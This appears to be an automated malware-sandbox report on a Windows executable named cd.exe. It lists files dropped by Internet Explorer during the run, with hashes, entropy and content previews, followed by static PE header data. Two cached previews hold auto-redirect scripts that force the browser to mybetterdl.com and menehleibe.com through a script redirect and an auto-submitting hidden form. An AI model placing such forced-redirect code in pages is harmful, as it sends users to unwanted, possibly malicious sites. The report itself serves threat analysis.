MD5: D9A16E4485A714D44DE977C8989D70FB

SHA1: 5664A30464FDE79285274B3E5884EB222545171E

SHA-256: DDCF95ECFE4AF66B5667C2A29DF770EF6489860FAC1FAE1AF83E32618C0BE95D

SHA-512: B424B71F4C07942B988626CCF2E322CC45C4EB92DE95833AB9821C15D7AF08173671587FEC1D8B3AD4A15097B2D8FA569C90EE1A5846DEF4F0818F02AA811C36

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xc9954168,0x01d7a9bc</date><
accdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate>0
xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/>
</tile></msapplication></browserconfig>..
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C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 662

Entropy (8bit): 5.119025965656811

Encrypted: false

SSDEEP: 12:TMHdNMNxcbTDnWimI002EtM3MHdNMNxcbTDnWimI00OVbVEtMb:2d6NxWSZHKd6NxWSZ7VDb

MD5: 766F656BF3D12DFEE67986A2D3382BC5

SHA1: 1E3FFDA3E62935C74FDFD92F70B258CD59400550

SHA-256: ED547F3FEA8A4834065CFA3B3BDD68EA8C1E20AB2771C1037C736E21DD00018C

SHA-512: E0A76263B06A7F42B84B8B78DE9DAA8DCD0BA8D8C9558093DC14AD8F6DBB741F9EE0826E2728ECEA636265E650559C1E898E7B4A2B53BFB7490D434CAF8BB9
BE

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xc9954168,0x01d7a9bc</date>
<accdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate
>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook
.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.104263951080776

Encrypted: false

SSDEEP: 12:TMHdNMNxfnbTDnWimI002EtM3MHdNMNxfnbTDnWimI00OVbe5EtMb:2d6NxrSZHKd6NxrSZ7Vijb

MD5: BDC8F6FB552E18FBA0BCDA81A21E7082

SHA1: ECB3148F93F0A95BE011235060D0F55A4FB5CA5D

SHA-256: E8B01F4687A0C7F9122EA277E75590893B34B36413BCC35B63B23CD62D58E495

SHA-512: 98D2BE5AF7DBB05B705AF8755CE246DE9F305C962C48C0C44AC271256A9ECBC0A94F1C93D315BA8C103313ECEB947E200FC72E2DC691163C95FF9F59F40AD59
3

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xc9954168,0x01d7a9bc</date><a
ccdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xc9954168,0x01d7a9bc</date><a
ccdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Go
ogle.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\wlm7n14\imagestore.dat
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 5736

Entropy (8bit): 3.203464048321813

Encrypted: false

SSDEEP: 48:dparxe4e4e4e4e4e4f4f4f4f4f4f4f4fYfYfYfYfYeYeYCYCHHHH222w:ci

MD5: 11D51B96EA77F30B330194110BA96BC7

SHA1: CEA4D42916C32FC21A2C60620DE8F76A2DBC4426

SHA-256: 79FC13392629FF36B061CD9BD12D6152B300953BC272F6CEAAAA2A2B25B7A005

SHA-512: 2FE562F5713C6C01A91DFC3E3A962B1C9F8A15033DE73E39E8E9C0DC17397A07361CCDF5170842B0EDE687AD48289C4F191D07D72A08E30257ABD9FFE71C2A9
E

Malicious: false

Preview:
..h.t.t.p.s.:././.g.e.r.t.r.k...c.o.m./.f.a.v.i.c.o.n...i.c.o...........'".... .........(...'...D..... ...................................................................................................................................................
..................................;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L........................
..................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~..%~
..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L....
......................................X...X...X...X...X...X.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\0V71R0V5.htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with CRLF, LF line terminators

Category: dropped

Size (bytes): 219

Entropy (8bit): 5.23823323380098
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Encrypted: false

SSDEEP: 3:IskN20EFNjJ8S/7A+KWRIJiYEUFLZxs4bSl02rBsSZ7NE7uR0Lq9DmJS4IoQ5a8G:wRkrQWR0iYBtqWt2aSyuic4ILoP

MD5: D4B691CD9D99117B2EA34586D3E7EEB8

SHA1: C79F5572F672361BC097676CB5DA9D4AA956C8B9

SHA-256: 2178EEDD5723A6AC22E94EC59BDCD99229C87F3623753F5E199678242F0E90DE

SHA-512: B69C162BFBA1290C98A2CD222F6EFF9DF69CFC3DBA1651381F4068B30DA813E1687387A794E50B51058C2FDA17B217153BA9599E1E19DC567389B7083093C1FD

Malicious: false

Preview:
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>301 Moved</TITLE></HEAD><BODY>.<H1>301 Moved</H1>.The 
document has moved.<A HREF="http://www.google.com/">here</A>...</BODY></HTML>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\0V71R0V5.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\d4a6d4bd[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 1655

Entropy (8bit): 6.062272980018994

Encrypted: false

SSDEEP: 48:9TQ3GC2lAeIRjHpPQWhLB0yQkcz8uhTMeD3Uenvj:pQUOXNHpPQWJB0yQjQuhAm3Ueb

MD5: 5DB7C38AA6E80C00473D801F6610B35F

SHA1: 54DAB73B9A850665843529118E72AC0A5DAA55A1

SHA-256: CC334F770DC2A3CD8B1AC2D64E035A71DDF8855C5B68F2DE884D11C7F8EC98E6

SHA-512: E299B27F4E09EB08C9F800D54B27548738B9D74A33EFA8A460C488268EB6249CB1F8F932147411F541CF5A3B072BA503BE74A69E2A635AF671474352ED869585

Malicious: false

Preview:
<html><head><meta name="referrer" content="no-referrer-when-downgrade"><title>Loading</title></head>.<body><script>location.href='https://mybetterdl.com/aS/feed
click?s=PmRMc57CnhYhj70e-I9ky5kfJerKhwxlfSMU3tyux_x5AGZrWUPSJmPzN2c9f2E7_vAN-6p8GpmDZG8TCuTZ6pDoEwlyap2kZsgzB4lH00ug8e5ExIzs-GByJk
w_hnoLHWVUL2gXgUyatsBFMaSTc1RQ5RxkQPBqyyTn3ctXNy_0uSHRSxkmOy8VHMc85GIOT4jmse8Hco-FpMlb9RHx56VxjN2QtFN197vLrfkZ9qE509t5aRYfk0fTaZIG
wGtVFx6Cjc1It8vKVodI2QoCnLeLuzBqxrSYHinyRIiR6SzTXaBf9PH6fc538M5WEvMvhjauUHGubj961r75KUjKtSXnHatHqEuiyuTMyWjRyjCKMGCurZS8_bcUa4tJgk
iTyXdC5k_Q4CBuzEhgKlo_tO4ZCxjCqbxJk5Qzkw_MwwsEKwa-Bh_puw260HEYWHbHAxhhGdlJM-I_t1xxhVv3SQmb2uwb95RlGM7AqpOHVVF6EgPkt4a55M
yZVnXuVkgrUl1akVOciihIlqaZoSoe2Ylzr70WFqgr6AhoabQSBzCjuJYNp4gwUYV0VWvRZajmUWO_Vxo8ML-hjUsrPH807AqUmDxuY4v8inEoo-y-qnyU06p2Uh3Pw9Yd
NYD58IK4CKCGcA-Uam9dcss-T-5Iub4J15H67wFZ2snzzWpWzEKC9XUORoe_dbnEgAhHx_n7Z4tVOYdW5lW6ruDPqaeHc0uzcTU9bgm_in-W2l5vorxPFmQa
TFIcy4B5guOnMJ5yZHLQD576xYWbP03aM83dTwE3kMpnzCC1V5B-3hXd5pzfx17GSZUu2KHXImolykrm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\rs=AA2YrTtiIgpyWC3dfQkzVoOu4jFUo5DWgw[1].js
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 178637

Entropy (8bit): 5.493248742265343

Encrypted: false

SSDEEP: 1536:w4zYNQN8X5XXuC2Bi03vb4yeMNzbXAkHM4yuSpAIksLKIp7zHNHwje3EMv5s+:DYNQmSuhMz4AIksPhxHwC3EM++

MD5: 7AA1AB3412E4EF309043E4EACCCC9EB4

SHA1: A7BD66883FABD4B0CBEB2A04FB23FCEA06225351

SHA-256: F41266FB78957B17A1D9335EF0AE32C1E153F297952E421CD3703F3FFC66F339

SHA-512: C0D37ACF120BD28EE69019B549FB7F5EC2651013B31C38739D23D61C83C76390A9989BBEE6D7D1389463DC9B1420909FE4CF1E534340CCCE85EF7F330EEE17F3

Malicious: false

Preview:
this.gbar_=this.gbar_||{};(function(_){var window=this;.try{./*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var pe;._.qe=function(a,b){b?
a.setAttribute("role",b):a.removeAttribute("role")};_.M=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));var d="aria-"+b;""===c||void 0==c?(pe||(pe={atomic:!1,autoco
mplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none
",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=pe,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};..}catch(e){_._DumpException(e)}.try{./*.. 
Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var se,te,ue;_.re=function(a,b){var c=a.length-b.length;return 0<=c&&a.indexOf(b
,c)==c};se=function(a){return"string"==typeof a.className?a.className:a.getAttribute&&a.getAttribute("class")||""};te=function(a){return a.classList?a.classList

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\1G7O03DV.htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 356

Entropy (8bit): 4.811709820418917

Encrypted: false

SSDEEP: 6:qzxVkMRJWmNJax3XLxcKv8wF+B9hqecVAqV9qeSF0VqHV7bDRd7HTkIGII:kxVkMq/x3bxrX1eIVseSp1DRRQIGII

MD5: 7A7107EF5B0185F624703F0CE3161389

SHA1: 4E95838C06FBE825CD69FEAC3F28E91D6EA12D4F

SHA-256: 3750F0F41871B5F6A0669E0FAE857A2828AE2A187D8865D6E72F9929C4C00DFB

SHA-512: D187740861254F65A115040FC5D0A3FFE9553917FC55EBD5989C6605726D749760144A4C208A89A4B655F2C48A7DAA6CFDDCA2F17C9A15F2DCF78BBA40D8EA16

Malicious: false
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Preview:
<html><head><meta http-equiv="refresh" content="5; url=http://ww9.menehleibe.com/"><title>Loading</title></head>.<body><form method="post" action="http://menehl
eibe.com/" target="_top" id="rf"><input type="hidden" name="ic" value="0"><input type="hidden" name="fb" value="true"/></form>.<script>document.getElementById("
rf").submit()</script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\1G7O03DV.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\favicon[1].ico
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: MS Windows icon resource - 1 icon, 39x34, 32 bits/pixel

Category: dropped

Size (bytes): 5638

Entropy (8bit): 3.1461120884406477

Encrypted: false

SSDEEP: 48:fxe4e4e4e4e4e4f4f4f4f4f4f4f4fYfYfYfYfYeYeYCYCHHHH222A:fC

MD5: DB884D3FED3F81D59E95E27707047C53

SHA1: FD991A514B1284506BBBD229F4B067C3C7CC3CEB

SHA-256: AAB68489204839B0F8E37065417C542695E914B959927D0E3AFD0D325E3787BC

SHA-512: AD5FCAD5D60D89AFCE9ED1A62D05E88E71B664A53B552B428145B8CC2B8133BD8CC7439D615D26591CCC1A58EE5B29A16D4C215488ACF47ECFF0616A5F9B67
ED

Malicious: false

Preview:
......'".... .........(...'...D..... .....................................................................................................................................................................................;L..;L..;L..;L..;L..;L....................
......................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~
..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..
;L..;L..;L..........................................X...X...X...X...X...X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L..;L..;L..;L..;L..;L..........................................X...X...X...X...X.
..X...........%~..%~..%~..%~..%~..%~...........;..;..;..;..;..;.....;L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\googlelogo_color_84x28dp[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 84 x 28, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 1785

Entropy (8bit): 7.86894160499635

Encrypted: false

SSDEEP: 24:YEOjo9umWXnrXeUpcvNugkko+loEDBKUrSUI3YDZVLMDLDzPhs++s4S9k/vaJvGb:YdBSUmdkkoPeVSUI3kLL0PW++smpU3St

MD5: B434F84DE33C4672C8D883A73C67E27C

SHA1: 15AA5241692EE565028B7CAC1418F6979C061FE1

SHA-256: E3EE16B33C7AFC3464C263A9604A39A2E5EE81ED4DD68F56AE7C82D814FAF6BE

SHA-512: D449A4F7B1D812D6FE251C87F96AD79953391722A7635799C8B7171DCA63985BB64E8F0F991501513793FA9A1DB88F7B8DCE7D59174CFA23D66FD5EEF1D01813

Malicious: false

Preview:
.PNG........IHDR...T..........`......IDATx..Zql.e...u...@D......0........ (2..J..5D.P...V..6..D1....BT.E.uC0.......*Qdk7.."[......h{w...............{..:..j#f....b.1KR.s`.C/..0....uI^T........y.P..I.>.
...\.V.....2.=...y/\.M.H|(..6..kl.|.c....P._c..-5__..<3JT..)`b.8...J.qx..U=..Fo(...+.....)...../.D..,.IQ.....}..f.....LU.ST.n.HF[`.....n>....3.../..e..Of:...r..J.2.]bC8N..q..K...O...S.........6.......
...R...6.......M.)..T.?..q...d....". !.f..&!.3...D)..;.....=-%.~Piw.......g i..D...7@....hWU...m..i.q...C.K.......v..:.~.v..@.e......|..DG.\._..OO.dyw./M....`........s.xZ.......f..n..#.q.|..
=.q>U#nmZ..,v\.......MH.j...@.6`....w..\[`j..fsI..fw............6..^X...O....r...a...z........(s...v.?.-........8?.m.*nq...k.p.k...jhp.{..:d~1.eq._JN......cebo...@.%.j.A)7.q.....|l .v.+&.qI\.o.Pf.,L..
..a.#%8..g6 uF.YZ%.... .?'e5.......L.Cr..J....t..EJ;....A...J.1.Q...<....8...?{.....$;...6#..Z..j.96..w..&E.:s... .....(!b..@..).;.a..v...,p.t.....5Z.zv...U.....]..[^...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\LM1X3BMT.htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines

Category: dropped

Size (bytes): 158522

Entropy (8bit): 5.912822586462801

Encrypted: false

SSDEEP: 1536:vosOtA0vKWzhq7gnsUP1jBUN7n3eKCQ6h0/KpG790Q/+vRWca5pv0KdcQfYWi9MT:Q8I9o37w1Qcm0KdcV+t

MD5: 7B408FDFF3226BE3BA01BB6056273800

SHA1: DA6B2223F142BA9006418476708C5BDBE9114796

SHA-256: D777C3C3AFF47F876E09CF5A0BF321BC6AC660EB9716FD950CF5277BE70FEE8D

SHA-512: 6961A69F76D3603B629C7C620A92B34A7269189E2F2D8ACFF83675AB3B6F0A78D5ECB1120A62CAF11D460AAB4257047DFF9D73C6C0ADB8FC162D1A3DBF4996E
2

Malicious: false

Preview:
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><link href="/manifest?pwa=webhp" crossorigin="use-credentials" 
rel="manifest"><title>Google</title><script nonce="sBDQvviEJYE6GoG6F/T2Gw==">(function(){window.google={kEI:'rKtAYY2rHY25kwWZrp3YAw',kEXPI:'31',kB
L:'myGb'};google.sn='webhp';google.kHL='en-GB';})();(function(){.var f=this||self;var h,k=[];function l(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a
.parentNode;return b||h}function m(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute("leid")));)a=a.parentNode;return b}.function n(a,b,c,d,g){var e="";c||-1!==b.
search("&ei=")||(e="&ei="+l(d),-1===b.search("&lei=")&&(d=m(d))&&(e+="&lei="+d));d="";!c&&f._cshid&&-1===b.search("&cshid=")&&"slh"!==a&&(d="&cshid="+f._cshid);
c=c||"/"+(g||"gen_204")+"?atyp=i&ct="+a+

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\rs=AA2YrTt5urjnc1-as0vV15aU6T-f2ANE9g[1].css
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
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File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 235

Entropy (8bit): 5.054129687067898

Encrypted: false

SSDEEP: 6:EZwTcqcA2n6gt9VvKcZWbnRVIM6RoeSjIUVY/:EZfqcA26gAcZWfp6SVY/

MD5: 2B1D2EF81983F949B10A03ECE9D6B80C

SHA1: C171F9C15235F09A1E0397A5F47DF4D712E91550

SHA-256: B3B95456B6C2CD4D41EAEB10DC4291970EBB430F6E538A4DAF99F8369A1F7101

SHA-512: 439F8992A36C3BBD3E65318B236CA58D80FFC5DC100B3B31BF4ACD238D9021DBF46DDAB3D32670C477FC155BB1991B75D807E392923B3801B2FBBC9D02EAF1B
4

Malicious: false

Preview:
.gb_Qe{background:rgba(60,64,67,0.90);border-radius:4px;color:#ffffff;font:500 12px 'Roboto',arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-heig
ht:14px;padding:4px 8px;position:absolute;z-index:1000}sentinel{}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\rs=AA2YrTt5urjnc1-as0vV15aU6T-f2ANE9g[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\desktop_searchbox_sprites318_hr[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 40 x 124, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 779

Entropy (8bit): 7.376883204451902

Encrypted: false

SSDEEP: 24:36kAKAyMhGb5AHgK7+Wpf3sNQV34DVvN9sck:3vAKzVb5wuo3+1Jxk

MD5: 03E471800AFFD719388000AA2356DE1F

SHA1: 42E718342BD7F6EDF4899E161A77452DCBAC68F5

SHA-256: BC23B3B207E8FA55B0C65A00F3FED491FA9EB5B1B39D159E7C4921BD331135EC

SHA-512: BFA4329D35568F4F50AC2B05917AECB4AD3A4A69F8B7248E6D39CEA94F90C231B022C705ED1255F930271DB2BF5286F4B24BE6756A61E928B0D0723747D40081

Malicious: false

Preview:
.PNG........IHDR...(...|.....,?.....{PLTE..............................................................................................................................5...)tRNS.......`..0. p`.. ...@...p.P.._.@P0.o@P.|:8.
....IDATx.....0..a...,'....9jz...S<..#.'...O..-e....n`.X...M^.ka..r.....:...'@.WCA.G.F`[i...r.X.....,....`..2`../g.<...:.Cg@ ....M...@w.C..ix`o...8.....?..@..Z.r.@.Wf..,.......z.....~B...y~.
b.je]_...p......:YR*.....4W..{>.}r%.~..$..........C.B..@..;...*.p.......4.gg.Muo...;B4..#.....5L..F.j..F.5...|.'x.`.O.-,-...:.....'....~.....,uj...y|......v.....b..;......./kfm...ck'2.".....b&aru..@b.
B{h.&.H.7*:.)..d.W.\z...{......a.Bx_...<.?..M8C....,8.....S....T...... .Y.n].A~*.j.Pt*KNe.,:.'..J.M.......Wt.#)[..w....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\googlelogo_color_272x92dp[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 544 x 184, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 13504

Entropy (8bit): 7.934568436975546

Encrypted: false

SSDEEP: 384:gwSYjn2PH6WNa7cr7FliUuaJ78UOr0raQR:gOn2PaWNks7ziUuagJ0lR

MD5: 80FA4BCAB0351FDCCB69C66FB55DCD00

SHA1: 26F471F6EBE3B11557506F6AE96156E0A3852E5B

SHA-256: 262084257C2103702EF8A25705E3F8DBC1FA3823103AD7B954D54BDB77E6D89D

SHA-512: B87A7554C5108400483EDAE585DAC672DEA6FE0DCD51CF5F73B4F9947649607F9C97B3B410FC0259BC2E0C60951DF2431323C1C7485A74291C23D999CFC32E17

Malicious: false

Preview:
.PNG........IHDR... ..........#W...4.IDATx.....%?...m.}....(.Y:..n..z..m....w.$=.....^....N.g...|.._".X.......v.....O.Z.y.v*.#.........O4....oR.}Y......f._.i.[..xf.*eC.nnIt...........9..?.y.n.-^..P...
.i..G..6|_Z..2...e)$*..ht.2a......Ebu...6....2..V6..B ..L..pS.~.....[u......`V?....*....Q....e........J.|l$....Y..i..4....gW.../.....h...f....W+..N.E..e..p....+..8.....R.#..7..P..J.P.u..e.e:\...Q.H...
.....2.O~ ..deC.8:.........z.  @.G........p /......... @..gI...[I|...:..][m..H............=..7.c.txH...H....2u....%..6.B`l:i.!.mQ$......d.o=..l.Q.y.Yw..Y$......d*{=...D..5........#@Z.x......w....cO...
4...i..e..*...7J=..H.@C. .F.|...Q.zz".Zi.hP..G.....Y?.dhA.I.......[........n...?CY......2.~i.......(..S.]..hI...[>."d....#..5F....Q.?/...89.<...t..../.)>..r^.....Dbc..p:.4m....U....4.;.Ft.Ft.4...:..5?<?
m..!_.We._...#.0...".k)L..|Yz.t./.. >...A..d...+..4.]...iz.H.[.x+.W..]2.&............e.L.q......H.....S....@.....j..W6.5].......}Z$f..L.Y?..p:..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\index[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 62

Entropy (8bit): 4.673133052883317

Encrypted: false

SSDEEP: 3:nmNjJMzVJu+1v3pY1sK3uqn:GMRJVxYr3uqn

MD5: 2A54A8CB5733591ED39A9B22AD0D31EC

SHA1: D3FD4F9D291464480866127810E89DBE410CC41B

SHA-256: 06FA9277A7F41DB91096AF3B9087516502F99EC5C62209D8F20426621EE1909F

SHA-512: C673009AF39B5D992217E1109134281A3F48AB316E5A1F515A5A7509D8693818FA68328EFC0816BE5956BA79F87D0BB72899EC83F8E02827BF27170B5DE1D830

Malicious: false
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 5.362341936277573

Preview:
<meta http-equiv="refresh" content="0;URL= http://google.com">

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\index[1].htm

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 89

Entropy (8bit): 4.484538240999641

Encrypted: false

SSDEEP: 3:oVXUtuCiPSdH8JOGXnEtuCiPSgun:o9UtugdHqEtugB

MD5: FFC4B0966C043C7AC64A6D2462E63BF6

SHA1: AADA1A11D642490C8D86635B12F8940F51AB64D4

SHA-256: 9F7112871FF782AC0CF220553CD17EB89965EE6F2BEAC59A692511A6D8718A2C

SHA-512: 523586F898A14A5731854B1BE50BA63EF7E506E81BE97AD8C5EB5B00A1F62FD1DCE6541959CEF49E7B5B7161787C2B1B31097CE552D323C7079F0F0B1257797F

Malicious: false

Preview:
[2021/09/14 16:03:18.137] Latest deploy version:  ..[2021/09/14 16:03:18.137] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF1C6E09CA4CF5EBDD.TMP
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 12933

Entropy (8bit): 0.40677040396038333

Encrypted: false

SSDEEP: 24:c9lLh9lLh9lIn9lIn9loSA9loSQ9lWSh1VI01iTF:kBqoIkaQbzo

MD5: 1DC22578617F1D3488CEB85FA0083C56

SHA1: E0721DE9D8304D3BC7E550E148E247A426D0B681

SHA-256: 98B9D07C5D265759E63062020EAFB755B6FB9D5B22630810881C7DC532D94FFB

SHA-512: 67941D6A1BDFF429348115DB251445445C8BEB922759E2F28BC8E5DA8B9BF697B8F5039158C253867F1BBCCAA4FC8B2BCB7F7A517143CB6349CF5CD9F7DB1AA
F

Malicious: false

Preview:
.............................*%..H..M..{y..+.0...(................... ...............................................*%..H..M..{y..+.0...(................... ............................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFAD0E470126C2D77.TMP
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: data

Category: dropped

Size (bytes): 51081

Entropy (8bit): 0.40980137997176297

Encrypted: false

SSDEEP: 96:kBqoxKAuvScS+6cGPcAQTTkOngHy85yg:kBqoxKAuqR+6cGPcAQ/kOngHy85yg

MD5: ABA48F42A2D4459A35A1B6EF13FC8BFA

SHA1: 99CF9B826ADE51440E84043F1463A1CE4AA4EAA5

SHA-256: 92324F8734EE3288E2E31FE2331EF0C7899E4556B263C4AD2016AEB81C9EAE27

SHA-512: B95C9CE22677F1C302B885F943A2DFFB738441D1F794E84E6355C5A44E9B748A3645344FE5950C5487D0959E10E6DF05B753A523D80614E52AA41A796F719E0A

Malicious: false

Preview:
.............................*%..H..M..{y..+.0...(................... ...............................................*%..H..M..{y..+.0...(................... ............................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................
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TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: cd.exe

File size: 3922432

MD5: cd02e745a08dd29cb6fda1761b2f4b6e

SHA1: 1a0dd3348bb0f856fff51f7e22364b0974fa1ad3

SHA256: a4ff2e7dd35e8f7362739c3a578563458548ed5ffb30abe5
ec6bf6f2c0de8eb7

SHA512: f6c55fbb6ebf25f046f6d562d1c17d4503f8244f367f1dd64
270ff8a9be56b6ed9c92dedd111359fa91d5ed865077331
0f609c447baa0b1b4a9ee486143b2ca4

SSDEEP: 24576:BuuP1xP+9mrnv/6dh3Qh3OXuaq4gTeEu8Ct+M
3VUXeN5DB:BtPHG6dZ4gTq8u+1Xq

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........@L..!"^.
!"^.!"^.s.^.!"^.s.^.!"^.s.^.!"^.Y.^.!"^.!#^.!"^.Y.^.!"^.s.^.!"^.Y.^
.!"^Rich.!"^........................PE..L.G.2..T...

General

File Icon

Icon Hash: 00828e8e8686b000

General
Entrypoint: 0x4036f7

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

DLL Characteristics: TERMINAL_SERVER_AWARE, NX_COMPAT

Time Stamp: 0x54941332 [Fri Dec 19 11:59:46 2014 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 6

OS Version Minor: 0

File Version Major: 6

File Version Minor: 0

Subsystem Version Major: 6

Subsystem Version Minor: 0

Import Hash: ebc536e497c338b5abee5455de5bead2

